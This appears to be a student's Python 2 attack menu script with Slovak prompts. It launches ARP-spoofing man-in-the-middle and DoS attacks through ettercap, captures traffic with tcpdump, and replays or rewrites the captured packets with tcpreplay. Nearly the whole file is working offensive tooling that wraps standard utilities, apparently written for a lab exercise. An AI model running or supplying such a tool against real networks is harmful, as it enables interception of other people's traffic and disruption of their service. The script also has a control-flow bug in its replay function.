#!/usr/bin/env python
# -*- coding: cp1252 -*-
import subprocess

#vyber utoku
def utoky():
    menuVyber = raw_input(""" 
    1: ARP spoofing
    2: DoS útok
    3: TCP dump
    4: Replay utok
    
    Vyberte typ útoku: """)

    if menuVyber == "1":
        mitm()    
    elif menuVyber == "2":
        dos()
    elif menuVyber == "3":
        tcp_dump()
    elif menuVyber == "4":
        replay()
    else:
        print("Musíte zvoliť 1, 2, 3 alebo 4")
        print("Skúste to prosím znova")
        utoky()

#kod pre ARP spoofing         
def mitm():
    rozhranie = raw_input("Zadajte názov rozhrania: ")
    ipAdresa1 = raw_input("Zadajte prvú IP adresu: ")
    ipAdresa2 = raw_input("Zadajte druhú IP adresu: ")
    ipAdresa1cmd = "/"+ipAdresa1+"//" #zmena zadanej IP adresy na tvar požadovaný programom ettercap
    ipAdresa2cmd = "/"+ipAdresa2+"//"
    subprocess.call(['sudo', 'ettercap', '-T', '-i', rozhranie, '-M', 'ARP', ipAdresa1cmd, ipAdresa2cmd])
    utoky()

#kod pre DoS utok
def dos():
    print("!!!Pred použitím DoS útoku je nutné umiestniť súbor skript.ef do zložky, kde sa nachádza ettercap: /usr/share/ettercap/!!!")
    rozhranie = raw_input("Zadajte názov rozhrania: ")
    ipAdresa1 = raw_input("Zadajte prvú IP adresu: ")
    ipAdresa2 = raw_input("Zadajte druhú IP adresu: ")
    ipAdresa1cmd = "/"+ipAdresa1+"//"
    ipAdresa2cmd = "/"+ipAdresa2+"//" 
    subprocess.call(['sudo', 'ettercap', '-T', '-q', '-F', '/usr/share/ettercap/skript.ef', '-i', rozhranie, '-M', 'ARP', ipAdresa1cmd, ipAdresa2cmd])
    utoky() 
   
#kod pre spustenie zachytavania paketov pomocou programu TCP dump
def tcp_dump():      
    subor = raw_input("Zadajte názov pre výsledný súbor so zachytenými paketami: ")
    if subor == "": 
        print("Nezadali ste názov súboru")
        tcp_dump()
    else:
        subprocess.call(['sudo', 'tcpdump', '-w', subor])
        utoky()  

#kod pre Replay utok
def replay():       
    print("\n !!!Pred použitím Replay utoku je nutné zachytiť pakety pomocou program TCP dump!!!")      
    rozhranie = raw_input("Zadajte názov rozhrania: ")
    pcapsubor = raw_input("Zadajte názov súboru so zachytenými paketmi: ")  
    if pcapsubor == "": 
        print("Nezadali ste názov súboru")
        replay()
    else:        
     replayVyber = raw_input("""
     Chcete meniť parametre zo zachyteného súboru s paketmi?

     Y: Ano 
     N: Nie 
        
     Vyberte Vašu voľbu: """)   
    
  
    if replayVyber == "Y" or replayVyber == "y":
       port1 = raw_input("Zadajte zdrojový port, ktorý má byť zmenený: ")
       port2 = raw_input("Zadajte port, na ktorý má byť pôvodný zdrojový port mapovaný: ")
       portmapcmd = "--portmap="+port1+":"+port2 #tvar zadaných portov požadovaný pre program tcpreplay
       ipAdresa1 = raw_input("Zadajte zdrojovú IP adresu, ktorá má byť zmenená: ")
       ipAdresa2 = raw_input("Zadajte IP adresu, na ktorú má byť pôvodná zdrojová IP adresa mapovaná: ")
       ipmapcmd = "--srcipmap="+ipAdresa1+":"+ipAdresa2 #tvar zadaných IP adries požadovaný pre program tcpreplay
       subprocess.call(['sudo', 'tcpreplay-edit', '-i', rozhranie, '-t', portmapcmd, ipmapcmd, pcapsubor])
       utoky()    
    elif replayVyber == "N" or replayVyber == "n":
       subprocess.call(['sudo', 'tcpreplay', '-i', rozhranie, '-t', pcapsubor])
       utoky()   
    else:
       print("Musíte zvoliť Y alebo N")
       print("Skúste to prosím znova")  
       replay()
         
#definicia main funkcie        
def main():
    utoky()

main()
